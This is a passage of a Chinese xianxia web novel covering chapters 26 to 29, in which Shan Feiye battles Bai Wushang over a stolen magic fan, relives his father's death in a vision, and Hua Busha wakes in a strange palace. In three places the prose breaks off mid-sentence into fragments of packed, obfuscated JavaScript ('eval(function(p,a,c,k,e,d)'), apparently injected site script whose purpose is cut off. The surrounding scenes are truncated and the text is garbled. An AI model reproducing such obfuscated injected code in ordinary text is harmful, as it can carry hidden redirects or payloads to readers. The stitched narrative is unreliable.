冷山月本能抗拒,扭动身子想要挣脱,可是一动弹,痛感就铺天盖地而来,顿时失去力气瘫软在他怀里。 山飞夜一只手蒙上她的眼睛,另一只手慢慢摸上剑身,手心里一道光亮顺着剑身传到她的腹部。她忽觉伤口生出一种酥麻的感觉,痛感竟凭空消失了。 山飞夜慢慢拔出长剑,血液粘连着剑身被带了出来,一股一股往外冒。冷山月抽搐了一下,失血过多,头脑都有些眩晕。 山飞夜放开捂住冷山月眼睛的手,同时将唇印在她的额头上。灵力经由口腔向她体内传递,缓缓流向身体各处。腹部喷涌的血液慢慢止住了,伤口的血肉开始愈合生长,慢慢恢复原状。 他轻轻地吻着。她不知道,这点温存他期待了多久。她不知道,他寻了她两百年,他也在黑暗中祈祷了她两百年。 “死东西,放开!”冷山月恢复了一些力气,用力推开山飞夜,踉跄着握剑站了起来,照着山飞夜脑袋劈下去。 山飞夜迅速握住冷山月的手腕,另一只手勾住她的腰肢,往回一扯,将她控制在怀中。 “你的伤还没好,不能强行运力,你虚弱成这样,还能伤得了我吗?你若实在要打,等我治好你的伤再来。”山飞夜亲吻她的额头,继续将灵力送进她的体内。 冷山月使出全部力气推开山飞夜,一记耳光抽在他脸颊上,她吼道:“我不需要你救我,就算是疼死在这,我也不屑于借用你的力量来恢复!你少装模作样,若不是你设下阵法,我和大人会受重伤吗?现在你却假惺惺为我疗伤,不觉得很好笑吗?!” 她扬手又要甩下一掌,却被山飞夜硬生生拦在半空中。 “你说这话可有逻辑?这阵法若真是我设下的,我若真要存心杀你们,又何必替你挡下雷电?在你的眼中我不就是一个杀人不眨眼的恶鬼吗?若要毁你们,我多得是办法,多得是手段,何必如此麻烦?我为你疗伤,只是因为在意你,你却不识好歹!” 冷山月可笑地看着他,能将黑的说成白的,他这张嘴可真是厉害,“难道还要我感激你吗?你杀人炼尸,其罪当诛,你早该死一千次一万次!犯下的错却不敢承认,你就是个无耻的懦夫!”冷山月她只恨自己不够强大,不能亲手毁灭了他。 “原来你竟这般恨我了……”山飞夜有些失落。 “是,我恨透你了!”冷山月攥紧拳头一拳挥去,山飞夜却像失神了一样,任拳头砸在他的胸口,而后面无表情呕出一口血来。又一拳挥来,落在他的脸颊上,山飞夜只静静地看着她,任她发泄。 “打了我几下,可舒服一些?” “这哪够啊,我要用你的肉、你的血祭奠那些因你而死的亡魂。我要让天下人都看看你死得有多惨!我要召回你的魂魄,永生永世镇压,受万世折磨!” 山飞夜突然将她拽到身后。同时他的掌心一道红光迅速击出,在几步之外的空中与另一股隐形的力量碰撞在一块。 “既然来了,就现身吧!” 26. 逸羽扇 只见空中一个身影突然出现,那白影顶着一张笑脸悠然飘落。 “鬼阴大人,又见面了,忘川河一别,一日未见,我倒是有些想念你了。你后面怎么还藏着个人啊,让我瞧瞧是谁?” 白面鬼好奇地侧着身往他后面看去,随即脸上一喜,“这不是小丫头吗?你们两个怎么在一块了?哦,莫非小丫头就是大人心仪之人?可真抱歉,方才我还捅了她一剑,大人不会怪罪于我吧?” 山飞夜隐忍着怒气,道:“白无伤,你既承认是你伤的她,今日我便要你付出代价,你刺她一剑,我要你魂飞魄散!”山飞夜手中灵光聚散,“攻岐剑”凭空出现,蓄势待发。 “恶鬼,拿命来!”冷山月推开山飞夜,冲上前来,白罹飞回手中,有了山飞夜灵力的支持,剑的威力强大不少。 冷山月一跃而起,一道白光顺势挥出。白面鬼待那光飞至面前,才慢悠悠地亮出一把折扇,轻轻一扇,白光竟瞬间化为虚无。 “逸羽扇!怎会在你这?!”山飞夜眉心紧蹙,暗道不好,瞬移至冷山月前面,将她拦下。 山飞夜道:“逸羽扇怎么会在你的手中?” 白面鬼轻摇扇子,笑道:“这就要怪青黎守护不力呀。大人将守护身体的任务交给青黎,怎知他却玩忽职守,守护不力,三两下被我打败,大人的身体自然落入我的手中。鬼君殿下知道你要叛出鬼界,特赐我一滴鬼君之血,我以此血破了你的护身咒,从你体内取出法器逸羽扇,你却丝毫不差。我以鬼君之血入扇,破了你与法器的感应,可惜呀,这半日功夫,我已掌握逸羽扇操控法门,它已与我浑似一体,大人,你拿不回去了。逸羽扇中有你最精粹的力量,失去法器,你算个什么?” 冷山月操控白罹再杀去,只是剑身一靠近白面鬼身边,就感觉到一股强大的力量在他周身形成一堵灵力墙,任凭白罹如何劈砍,始终伤不到他。 白面鬼笑道:“小丫头,别白费力气了,逸羽扇是山飞夜以生前灵骨为材,阅遍古籍耗费极大心力炼制的法器,其中不乏古老咒印与法阵,就算是他自己,或许也没有把握能闯过扇中所有法阵,更何况是你了。” “那又怎样,大不了这条命搭在这,我偏要试试!” 冷山月又要杀去,却突然被一只手拦腰一搂,而后那手一勾,她便准确落在他的怀里。 山飞夜道:“你不是他的对手,让我来。” “不必!”冷山月想要挣脱怀抱,却发现身子又被山飞夜施下术法,动弹不了。 山飞夜走到白面鬼跟前,道:“白无伤,你果真卑鄙,我自以为做事谨慎,却没想到还是被你算计了。香阵是你布下的,血海也是你的杰作,惊雷也是你引来的,你利用我的阵法,假借我的名义,叫我担此恶名,好一招借刀杀人! 你求着鬼君,让我带你出来,说是协助我完成任务,其实我一早便知道你想邀功,迟早算计我。你想踩着我上位我不管,只是你不该将手伸到她身上,你有万般诡计都冲我来,我才是你的宿敌!” 白无伤道:“我本无意与小丫头为敌,怪只怪她是那只桃花妖的转世,是你入鬼界的目的。我曾向鬼君借来命簿,查明她今生的身份,既然她是一颗绝佳的棋子,自然该好好利用。我利用她引你到来,从你现身的一刻起,你已入我局中,你逃不出去了。今日杀了你,我便是新的鬼将军!” 山飞夜道:“既如此,那便试试!” 攻岐剑脱手而出,强大的剑气飞速袭来,咄咄逼人。白面鬼摇动扇面,应势而动。下一瞬,只见眼前一片灵光乍现,两股霸道的力量瞬间交汇,流光潋滟,势不可挡。 攻岐先发制人占了先机,白面鬼虽有法器在手,还是稍逊半分。他身子后退几步,而后脚下一定,猛然舞动着扇面,挥出一道厉光。 山飞夜被厉光牵制,分心抵御,等回头再看,白面鬼已经瞬移到他头顶上方。于是只能迅速结阵设下光屏护身,同时攻岐离手,从侧面围攻而去。 攻岐朝着白面鬼直刺过去,白面鬼眼疾手快,变幻出几把飞剑与攻岐厮杀在一块,他则趁机加速俯冲。 逸羽扇中的灵力源源不断地击打在光屏上,山飞夜也不断加强力量抵御。 这时,攻岐剑打落飞剑杀了过来,白面鬼一手抓着扇子攻击光屏,一手聚力对抗飞剑。虽有法器在手,但他本身实力与山飞夜相差甚远,不能完全发挥逸羽扇的威力,于是便有了可乘之机。 山飞夜开口激道:“白无伤,就算有逸羽扇在手,你也不过如此,若是认输,我可以考虑留你一个全尸!” 白面鬼维持着两边的攻击,已经有些吃力,脸上表情也不那么好看了。 “你不要太得意了,逸羽扇有多大威力,你最清楚不过,我还没使出全力呢,怎么,你就迫不及待想让我求饶了?有点早了吧!” “是吗?”山飞夜露出自信阴冷的笑容。 只见光屏瞬间膨胀数倍,同时攻岐灵光大盛,两边的力量夹击着,逼迫白面鬼飞出几丈之外。攻岐追踪杀去,白面鬼回身一甩,逸羽扇脱手飞出,顿时让它攻势削弱。 山飞夜瞅准时机闪到他的身前,一脚踢出,正中腹部。白面鬼呕血后退,好不容易定住脚下,那人却又持剑气势汹汹杀来。他只能以扇横档胸前,却不敌攻岐霸道势气,步步后退,落于下风。 白面鬼脸上有些挂不住了,硬拼实力肯定得不到好处,于是便想用言语激他。 白面鬼故意放声大笑,阴阳怪气道:“山飞夜,你真是愚蠢,就算你今日杀了我,鬼君也不会放过你的。君上最忌惮聪明且有实力之人,况且你知道他太多秘密,就算我不动手,总有一天他也会亲手除掉你!在主君面前就要学会装傻,太聪明没有好下场!” 山飞夜笑道:“这就是你安心当一个蠢货的理由?不要为自己的愚蠢找借口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同时白面鬼的声音在几丈之外的空中响起:“山飞夜,你这逸羽扇可真是好东西,我借用它的力量幻化分|身攻击你,你竟丝毫也没有察觉。你可知方才你吸入的是何物?那是寐生香,是君上专门用来审问犯人的迷香,它会让你产生幻象,将你害怕的一幕呈现出来,它会折磨你,让你心悸,让你痛不欲生!哈哈哈哈哈,我的大人,好好享用吧!” 山飞夜闻言色变,目光惊骇,迅速击打身上的几处穴位,想要制止呼吸,可是方才已经吸入一口香气,一切为时已晚。 香气入体,感觉浑身的血液都沸腾起来,身子烧灼,五脏六腑像有一团烈火炙烤。剧痛一阵一阵扩散,疼得山飞夜跪倒在地,捂紧腹部抽搐。 视线慢慢模糊,短暂的失明之后,眼前突然出现一座宫殿的幻影,他看见一个和他一模一样的男子…… 27. 恐惧 山飞夜的视线里,一个和他面容一样的男子单膝跪在地上,逗着身旁坐着的中年男子怀中的小女孩。一会儿捏捏她的脸蛋,一会儿又做着鬼脸,弄得小女孩开心地咯咯笑着。 “我的小殊儿真是可爱,要不要哥哥抱抱?我可好久都没有抱过你了,你想不想哥哥呀,想不想我抱你啊。” 殊儿鼓着脸撅起小嘴,使劲摇着头,仰头眼巴巴望着中年男子,嘴里结巴地叫着:“父、父君……父君……” 中年男子笑着安抚道:“殊儿怎么了,这是你的哥哥呀,一月不见,怎么还生分起来了,你不是最喜欢粘着他的吗?让哥哥抱抱好不好,父君不走,父君就在这看着,别怕别怕啊。” 凌啸从父君凌轶怀中接过殊儿,亲密地贴着她的脸颊轻轻蹭了蹭,温柔地道:“小淘气鬼,这才多久没见,就不认识哥哥了,下次再这样,我就咬你了,怕不怕?” 殊儿摇着头,“不……不怕……父君会……会保护我……” “那要是父君不在的时候呢,你怕不怕?” 殊儿自信地撅起嘴来,“哥哥……怕父君……不、不敢……” “是吗?你就知道呀,哥哥可不怕父君,我现在就要咬一口,你给不给我咬?” “不……不给……啊……” 殊儿话还没说完,凌啸就一口咬住了她的小脸蛋,牙齿轻轻地触碰她柔嫩的肌肤,生怕一不小心就会刺破了。 殊儿可不知道这是在逗她玩,本能地伸出小手去捏他的脸颊,可凌啸还是不松口呀,她只能无助地看着父君,嘟着嘴巴哭了起来。 “好了啸儿,放开吧,别把她弄疼了。”凌轶爱女心切,忍不住上前阻止。 凌啸这才松开了嘴,有些嫌弃地道:“小哭包,我可没咬疼你啊,你倒哭起来了,怎么这么没用啊,嗯?就会找父君救你,不是说不怕嘛,你骗我咯,略略略……” 凌啸又做出一张鬼脸,吐着舌头逗她,殊儿擦擦眼泪,又笑了起来。 凌啸趁她不注意亲了她一口,可殊儿却很是嫌弃地用小手在他亲过的地方擦了又擦,眼睛直直地看着他,满是不情愿。 “怎么,还嫌弃我啊!小哭包,哥哥都亲你了,那你也亲我一口好不好?” 殊儿本能地摇头抗拒。 “你亲嘛,你亲嘛,我都亲你了,你不可以不亲我哦,算哥哥求你了好不好?” 凌啸恳切地看着她,终于打动了殊儿,小唇在他脸上轻轻点了一下,又快速收了回去。 凌啸满意地捏捏她的脸蛋,“我的小殊儿真乖啊,哥哥越来越喜欢你了呀!” 凌啸忍不住把她抱得更紧了,对着她的小脸亲了又亲,恨不得含进嘴里,好好爱惜。 三人都沉浸在这欢笑声中。 可是突然头顶一片红光蔓延过来,无数朵状若昙花的红艳花朵从天上飘落,渐渐形成遮天蔽日之势。 花朵缓缓坠落,落地的一刻一朵朵绽放开来。花瓣包裹着的花粉飘散出来,像一大团烟雾一样汇集在地面上空。 没有人知道这些花朵从何而来,也没人知道接下去会发生什么,唯一可以确定的是这突生的异象绝对不是什么好兆头。 “啸儿,这些花朵像是冲着王宫来的,你带着殊儿赶快离开王宫,不用管我,我自有办法应对!” 凌轶把凌啸护在身后,目光凝视着前方,手中佩剑在握,随时准备开战。 “父君,您一个人怎么应付得过来,让我留下来帮您吧,殊儿我命人送走就行了,我想留下来与您并肩作战!” “说什么胡话,我北境王族就你们两个后人,我不得护你们周全!你若是留下,只会让我分心,快带殊儿走,只有你护着她我才能放心!走啊!” 凌轶推搡着要让凌啸离开,可就在这时,那些花朵突然燃烧起来,连带着点燃了花粉,将整片天空烧得红艳。 火海笼罩在王宫上方,几座稍高的大殿燃烧起来,火焰随风蔓延,点燃剩下的宫殿,进一步扩大火势。 这火焰来得怪异,就算王宫有仙法护着,可好像都突然消失了一样,完全没有了防护之力,一时间火焰漫天,浓烟滚滚。 这时天边又出现一片黑压压的东西,迅速向王宫飞来。等近了一看,竟是浑身布满火焰的红色蜻蜓。 它们漫无目的地四处乱窜,遇楼穿楼,遇人穿人。被他们看见的活物,一旦咬中,皮肉就会迅速腐蚀,最后变成一堆白骨,血液甚至来不及流下就已死去。 凌轶设下防护罩,可是那些“火蜒蜓”数量众多,不停地撞击着防护罩,人在它们面前根本没有任何还手之力,凌轶也只能尽力拖延时间。 “啸儿,快带殊儿走!” 凌啸单手支持着保护罩,可奈何法力低微,根本起不到什么作用,保护罩在火焰与火蜒蜓的围攻下已经岌岌可危。 “父君!” 凌轶用最后的灵力捏出一个新的保护罩,把凌啸包围起来,又一掌用力推出,保护罩飞速向外飞去。 “父君!父君!您跟我们一起走啊!您别扔下我们!父君!” “啸儿,快走!不要回来了!” 凌啸慌乱地拍打着保护罩,他试图用灵力让保护罩停下,可是每次灵力发出之后都在保护罩上突然消失。 凌啸被迫被保护罩带离王宫,眼看着凌轶的身影越来越远,声音也慢慢消失,最后视线里只有一片红色的火焰与滚滚的浓烟。 北境王宫四面环海,凌啸在最近的海面停下,他冲出保护罩,回头嘱咐殊儿:“殊儿,你乖乖呆在这里,我去救父君,很快就会回来,你千万不要乱动,不然哥哥就找不到你了,听话好吗?” 殊儿停止哭泣,认真地点着头。 凌啸双手结印,在光罩上又设下一层结界,这才放心地赶回王宫。 可是等他回到王宫的时候,火焰几乎已经散去,整座宫殿都已化为灰烬。那些飞舞的花朵与火蜒蜓也都消失不见了,只有一条巨大的繇蛇倒在血海里,抽搐着扇动翅膀。 “父君!父君您怎么样了?您别吓我啊!父君您快醒醒,我是啸儿啊,您醒来看看我啊!父君!” 凌啸把凌轶的身子搂进怀中,他的身体被火蜒蜓穿出无数个窟窿,翅膀也被烈火烧得残破不堪。身上的血液几乎快要流干了,仅靠着最后的一点点灵力维持着呼吸。 凌轶张开大大的蛇口,吐出一朵被灵力包裹的桃花。 “我知道你喜欢这桃花仙,所以当年她死之后,我就召回了她的魂魄,藏在体内孕养。只可惜我已不能再养护她……” 凌啸声音颤抖起来:“父君,您为孩儿做了这么多,可啸儿却总是让您担心,啸儿对不起您。您快别说话了,让我为您疗伤吧,父君。” 凌轶摇头拒绝,“答应父君,好好照顾殊儿,父君命该如此,不要怀着……仇恨……活……着……” 凌轶身体一抽搐,又呕出一大口鲜血,护身的灵力一瞬间溃散,再没有挽救的余地。他怔怔地望着凌啸,眼泪止不住滑落下来。 “答应……父……君……好……好……活着……” 每说出一个字,嘴里便随之呕出一口鲜血,一字一顿,最后终于耗干心血。 “父君!父君!您醒醒啊!父君……”凌啸发了疯般大叫着,可是怀中的身子没有了半点生命气息。 他的身子泛着金光,慢慢剥离散作一片片灵光,消失在空气里。 凌啸木然看着父君消失,眼睛酸涩,却再也流不出一滴眼泪。心像是被人用刀从上到下凌迟了一遍,血淋淋地跳动着。 “父君!!”他跪倒在地,朝天咆哮,身子突然化为原形冲上天去。 他在空中咆哮着,好像这样就会好受一点了,可心依旧刀扎一样地疼。他闭上眼睛,停止扇动翅膀,一下子坠到地面上去。 血液模糊了视线,他也昏死过去。 …… 脑海里往事一幕幕重现,虽已过去两百多年,但那种心痛的感觉却依然那么真实。心脏翻绞欲裂,似乎要将灵魂也大卸八块。 山飞夜害怕的不是回忆悲伤,而是回忆之后依旧无能为力。 无数个夜里惊醒,欺骗自己那只是梦,可是理智告诉他那就是事实。他的父君确实在那场灾难中丧生,他也从万人敬仰的光明之巅跌落黑暗深渊。 心里的阴影永远也挥之不去,只会随着时间的沉淀变成更大的伤疤,只要触碰,便会痛不欲生。 山飞夜瘫软在地上,撕扯着头发,泪水漫灌而出,心口郁结,快要让他窒息。 他喃喃道:“父君,对不起,要是我再强大一点,再勇敢一点就好了……” 白面鬼在一旁看着山飞夜狼狈不堪的模样,笑出声来。 “怎么样,再次看到当年的惨状,是不是很心痛啊?当初若不是为了救你,你的父君也不会死得那么惨,一切都是你害的,你才是罪魁祸首!你应该愧疚的,凭什么啊,你从来没叫你的父君省心,到头来还要他用命来救你!你怎么就没跟他一块去死啊,苟活于世又有什么意思呢?” “你就这么胆小吗?连死的勇气都没有吗?还是说你怕了,你怕让他看见你活得这般模样,你没脸下去见他?哈哈哈哈!山飞夜,我的大人,你就是一个失败者,一个活得连狗都不如的鬼!我要是你,绝对找个阴暗的角落躲起来,然后再划烂自己的脸,你有什么资格活在阳光下啊,你又有什么资格顶着这张你父君给你的脸啊,你配吗?!” 白面鬼嘲笑着,扇面一扫,一股厉风袭出。厉风袭向血海,掀起一层冰棱,被风携带着飞速射向山飞夜。 他整个人已呆愣住了。白面鬼的话字字诛心,事实如此,他根本连反驳的资格都没有。冰棱一根根穿透他的身体,他连眼皮都没有动一下,只是木然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一下,他没反应,又一下,还是没反应。那魇尸便更加大胆,按住他的双肩来回舔舐伤口。其他魇尸见此,争先恐后上前,爪牙把山飞夜的身体划得遍体鳞伤,贪婪噬取着他的新鲜血液。 “看来大人真的是心灰意冷了呀,也罢,让你死前受些罪,或许还能减轻你的负罪感,死得安心一些呢,我这可是在帮你啊,可别怪我心狠呀,哈哈哈。” 白面鬼得意笑着,却突然一个身影冲上前来,猝不及防给了他一掌,竟是冷山月。 原来山飞夜失神之后,施下的术法便也失效了,冷山月伺机杀上前来,正好杀他个措手不及。 “呸,死白面鬼,瞧瞧你那鬼样,恶心至极!我们之间还没了断呢,继续战吧!” 白面鬼擦擦嘴角的血迹,嬉皮笑脸道:“小丫头好生猖狂啊,你确定要和我打吗?山飞夜都不是我的对手了,你几斤几两心里没数吗?我劝你还是好好待着吧,说不定我还会留你一命,让你给你的大人收尸。” “少说废话!”冷山月飞身跃起,冲他杀来。 白面鬼扔出逸羽扇,与她缠斗在一块。他的视线瞥向冷山月身后,看见光屏中的花不杀,突然心生一计。 他施法将光罩移动到身前,一挥袖去了光屏,用灵力托住花不杀。 “小丫头,你的大人可在我的手上,你若是向我下跪求饶,我可以通融通融饶了她,怎么样?” “你!卑鄙!”冷山月气急败坏,白罹突然法力大盛,竟弹开了逸羽扇。 她趁机杀向白面鬼,却不料他突然放手,花不杀的身子坠了下去。冷山月只能改变方向去救花不杀,可是刚转过身,逸羽扇就重击在她的后背上,她顿时喷出鲜血坠落下去。 “大人!” 冷山月努力控制着自己的身子,想要飞过去救她。可是身受重伤,灵力都已溃散,已经不可能在瞬间之内做出这样大的动作。 身下出现一只血淋淋地大手托住她下坠的身子,冷山月回头一看,却发现是山飞夜。 此时他全身上下都被血液染了个遍,大大小小的伤痕布满全身,好几处地方的皮肉甚至被撕扯得快要从身上掉落,更有甚者,皮下的白骨都已清晰可见了。 衣衫褴褛,满身血污,这哪里还是那个目空一切的山飞夜了? “救……救大人……”冷山月一时失了神,只说出这几个字。 山飞夜微笑着点头答应,向下俯冲,可是逸羽扇却突然出现在前方挡住去路,他只能与它打斗起来。 花不杀下坠得越来越快,冰冻的血海上已经聚集许多魇尸,眼巴巴地望着,就等着她落下去分而食之。 没有人能救她了,冷山月崩溃地哭出声来,嘴里一声声地唤着:“大人!大人……” 光屏之中重伤的阿契跪下来,用力敲打屏障,他哭喊着:“姐姐,姐姐,不要啊……” 眼看着她的身子迅速贴近冰面,最后一刻却突然停在魇尸头顶上方不足一臂距离的空中。 两个巨大的身影闯入视线,两条白蛇从冰面的一端滑行而来,粗壮的蛇身在尸群中杀出一条血路。 他们滑行至花不杀下方,突然化身为白衣男子,其中一人一步跃起,稳稳接住花不杀。 那男子看着怀中的花不杀,眼神滞愣了一下。 “是你?” 28. 孪生花 阳光柔和地照进殿内,微风轻轻拂动纱帘,空气清新怡人,世界静谧安宁。 冷山月昏睡许久,终于苏醒。此时距离平山城被屠已经过去七日,她只记得当时一条白蛇救了花不杀,白面鬼被白衣男子和山飞夜联手打伤,凤叙大人派来的军队也在这时赶来,魇尸顷刻间被毁灭干净。 至于后面发生了什么,她记不清楚了,好像是她突然晕倒,有人抱住了她。 冷山月转头看向四周,发现她所处之处是一间陌生的屋子,床柱旁倚着一名男子,此时仍沉睡着。 那是个一身红衣,身形修长的青年,五官精致俊郎,饶是阅人无数的冷山月,第一眼也被吸引了目光,有些失神。 不过她很快反应过来,这熟悉的身形,身上熟悉的暗香,不是山飞夜又是谁? 被他容貌迷惑的那点悸动转瞬消逝,一股火气从她心底燃起。平山城一战诸多隐秘,他和白无伤一唱一和,谁又知道孰真孰假?不过她可以确定的是,他作恶多端是事实。 冷山月一掌撑在床上,借力一跃,身子便如游鱼般轻巧落了地。她掌心凝聚一团亮光,下一瞬长剑现形,白罹剑直指他的眉心。 她持剑刺去,却被山飞夜护身屏障阻拦。这动静吵醒了他,他睁眼的一刻便看见额头前方厉光闪烁的剑。 “你要杀我?”山飞夜沉声道。 冷山月道:“恶鬼人人得而诛之,如你一般罪孽深重的早该受天谴,万劫不复!” 山飞夜呆呆看了她一会儿,而后起身朝她迈近一步,认真道:“我豁出命去救你,在你眼里仍罪不容诛么?我承认我非善类,做了你不喜欢的事,可我何时想过伤你的性命?你为何如此恨我?” 冷山月道:“不需理由,非我族类,其心必异,你之恶名远扬,我们天生是死敌,不死不休。” 山飞夜神情落寞,低声道:“你不知道我,你也只是听信了传言。世人的成见我无法翻越,我这一身罪孽也无可辩驳,可你不懂得我,没人知道我。没有人生来就喜欢栖身于黑暗中,与厉鬼为伍,没有人喜欢杀戮,日日刀尖舔血,若不是万不得已,谁不愿意做那高洁之士,受人敬仰?” “我满身的罪孽上天自由安排,我相信因果报应,哪怕是粉身碎骨的结局我也不怕。只是我不愿意不甘地死去,我心中还有牵挂,待他日我如愿以偿,哪怕被所有人审判公决,我也甘之如饴。” “山月,我们之间误会太深,我希望你能给我个机会,重新认识我、了解我。若你知道我的一切,我相信你会理解我,我不求你为我做什么,只求你别恨我。” 冷山月看不穿山飞夜,只是觉得他在自己面前时总是反常。无可辩驳,在他替自己挡下闪电之时,她只是惊讶,可在他浑身是血赶来救她的时候,她的眼里看见的却是希望。 花不杀遇险之时,她下意识向他求助,是因为信任吗?可为何会信任他?冷山月拿不准,她对他的恨意似乎不再单纯。 山飞夜道:“我知道你常年跟随花不杀四处奔波,落脚的地方也就只有天镜司。你睁眼瞧瞧,这座宫殿是我为你建的,你的掌印便是开启它的钥匙。这世上有一座宫殿为你而建,也有一个人为你活着。我可以给你时间,慢慢了解我。” 山飞夜身形渐渐隐去,余音道:“山月,你走吧,去找你的大人,你我后会有期。” …… 周身冰凉,水波荡漾。花不杀睁眼环视四周,发现自己又置身于那片水里。 水下黑暗的空间里看不清任何东西,也听不见任何声响,漆黑得像一个巨大黑洞,阴森诡异。 “你又想做什么?”花不杀朝着远处大吼,声音在水中传递,竟有声声回音,越发古怪。 片刻之后,前方出现一个光点,光芒铺天盖地般袭来,顿时整座湖的水体都被照亮。光芒亮得刺眼,花不杀用手臂挡住眼睛,等再拿开手时,那红衣魂魄已飘到身前。她的脸上依旧是让人发寒的微笑,眼里哀怨如潮,看着凄楚可怜。 “你到底是敌是友?我不知道你有什么目的,但警告你以后不要再来找我。你我本不是同路人,我不想知道你的故事,也不想知道我们之间有什么关联。我只是我,只想过着现在的生活,至于你和你的一切本都与我无关,我不想多生瓜葛,也拜托你不要再来纠缠。” “你不想知道你是谁吗?我这儿可有很多你想知道的事,可有兴趣一听,比如……你丢失的记忆?” 花不杀愕然睁大眼睛,惊讶之余更多的是后怕。一年前她得了失忆症,许久都医治不好,她忘了她是谁,从前的一切都不记得了。可是这件事除了凤叙大人和冷山月之外无人知晓,她又是如何得知的? 她的目光明明那样凄婉,可却锐利如刀,能够洞悉一切。花不杀在她面前好似一个透明人,被其窥探所有秘密,避无可避。 “你都知道些什么?”花不杀心中恶寒。 女魂道:“一年前你在湖边醒来的时候,你就发现过去的一切你都不记得了,对吗?你不知道你是谁,叫什么名字,从哪里来,又要到哪里去,你也尝试过找回记忆,可是都没有用,对吗?” “你怎么知道的?我的失忆难道与你有关?”花不杀越发不安,她身上还有什么事是她不知道的? 却见她笑得更加温婉,眉眼更加妩媚,可正是这样,才让人更加心里没底。平静的水面,往往一石激起千层浪,越是温柔的女人,才越是最好的杀手。 “当然。你可记得上回见我时,我说‘我们是双生的花朵,是被命运诅咒的人’,原因就在这。你之所以失忆,不是因为受伤或者被人下了药,而是你本来就没有记忆,因为你这具身体之前的主人是我。 说来也是缘分,我们本是一母同胞的孪生姐妹。当年母亲在生下你之后就被雷电击中丧了命,而我在她腹中也随之殒命。后来父亲为了救母亲,用神物‘幽冥珠’为其续命。 可是母亲的魂魄被雷电击碎,聚合不了,它便把我的魂魄吸入其中,随后融入你的体内。我也就在机缘巧合之下占据了你的身体,多活了这两百多年。” “你说谎!我醒来之后凤叙大人告诉我,我是因为外出探案受了重伤,才会落到湖里,失忆也是因此,我们怎会是一母同胞的姐妹?你不要再编谎话了,我不会信的。” 花不杀后退一步,掌心拖出一道紫光,可刚要出手,腹部的烧灼感便瞬间侵袭全身。随后她的身体被一团红光包围,牢牢束缚了手脚。 “你就那么相信她么?你可以不信我的话,但是也不要轻易相信他人的话,记住,在这个世界上,你能相信的只有自己,你能依靠的也只有自己。” 她慢慢向花不杀靠近,表情由微笑转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大致看了看环境,而后她坐在屋顶上,回想昏睡前的景象。自她被闪电击中后,便昏死过去,她不知道后面发生了什么,自己为什么会在这王宫里,又是谁救了她? 她现在只担心冷山月和阿契,平山城之战的时候他们孤立无援对抗山飞夜的阵法,一定很艰难吧?现在也不知道他们怎么样了,身在何处,有没有受伤? 她正烦闷着,余光瞥见一个身影在不远处快速移动,目光追随而去,发现那人是一蓝衣女子。她每走几步就回头往身后看看,似乎是在躲避着什么。 花不杀觉察不对,立即翻下屋顶悄悄跟在她的身后。蓝衣女子绕过几座大殿,终于在一座巨大的石山面前停下,她依旧警惕地回头巡视,确定无异常,然后才绕到石山后面,消失不见了。 花不杀追了上去,发现石山下有一条狭窄的通道,蜿蜒通向地下,一眼看去深不见底。 王宫里一个守卫都没有,她频频回头是在躲着谁?直觉告诉她这山洞里面一定藏着事。 在环顾四周,确定安全后,花不杀掌心托焰,走进通道内。大概走了半柱香的时间,山洞下面豁然开朗,出现一间巨大的密室。 她沿着通道小心地前进着,却突然从前方飘来几团火焰,悬浮在密室上空,将整间密室照亮。同时一股无形的力量涌了过来…… 29. 火蜘蛛 花不杀立即结阵抵御,可那力量实在太过强大,她伤势未愈,只能被逼迫着后退。 眼前火光爆裂,那股力量也瞬间强大几倍。一道厉光闪来,精准落在花不杀身外的结界上,结界瞬间消陨。而后她的身体像被什么东西重击一般,忽的向洞口飞射出去。 花不杀慌忙运转灵力护身,可五脏六腑还是剧烈地疼痛,同时鲜血喷涌,一口呕出。冲击的余势将她在空中拖行好远,才慢慢停下。 花不杀站定,心生疑雾。这偌大的王宫,竟连一个守卫也没有,未免有些奇怪。既无人巡视,那蓝衣女子又在防备什么?那洞口设在如此隐蔽的石山后面,地下巨大的密室又藏着些什么? 花不杀身体未愈,不敢再探,只得返回寝殿,却忘了方向。她依稀记得在屋顶上看见的王宫格局,按照记忆中寝殿的方位行去。 她走到一间屋前,推门而入,瞧了瞧里头却发现并非是先前那间寝殿,正想转身出去,却听见门外传来一阵脚步声。 花不杀误闯他人寝殿,做贼心虚,只好将计就计,躲入屋内。寝殿分为内外两间隔室,她躲入后面隔室中,发现是一间沐室。沐室有扇窗,她计划翻窗离开。 脚步声越来越近,她疾步向窗子走去,却未注意途中水渍,脚下打滑,圆滚滚滑入了池中,扑通一声。 “谁在那处?”一个男子声音传来,随后两道人影闪入沐室。 花不杀好不容易挣扎上来,却在看清来人之后一时恍惚再次沉了下去。直到一双手抓住她的手腕,她才再次浮出水面。 花不杀近距离看着面前这张脸,他的眼上横着两道剑眉,下面一双凤眼,眉宇之间气质不凡。他鼻梁高挺,薄唇恰到好处透出嫩红。他着一身白衣,气质淡然,似长仙寂静清冷。 他身后另一名白衣男子问候道:“姑娘,你怎么在这儿啊?你昏睡七日,终于醒了,太好了。” 花不杀看了他一眼,他与面前这人有九分相似,不过还是前者更为惊艳。 面前男子拽住花不杀手腕,将她救上来,他微笑道:“姑娘别怕,我叫商决,他是我弟弟商雪,上次一别,许久不见。日前我与商雪途径平山城,见姑娘重伤,便擅作主张将姑娘带回医治,姑娘莫怪。” “我们曾见过吗?”花不杀看着陌生的两张脸庞,回忆不起来。 商决与商雪对视一眼,眼中都泛起疑惑。商决道:“你不记得了吗?一年前在东域云城的时候,我们曾有一面之缘。” 花不杀道:“公子莫怪,我不记得。” 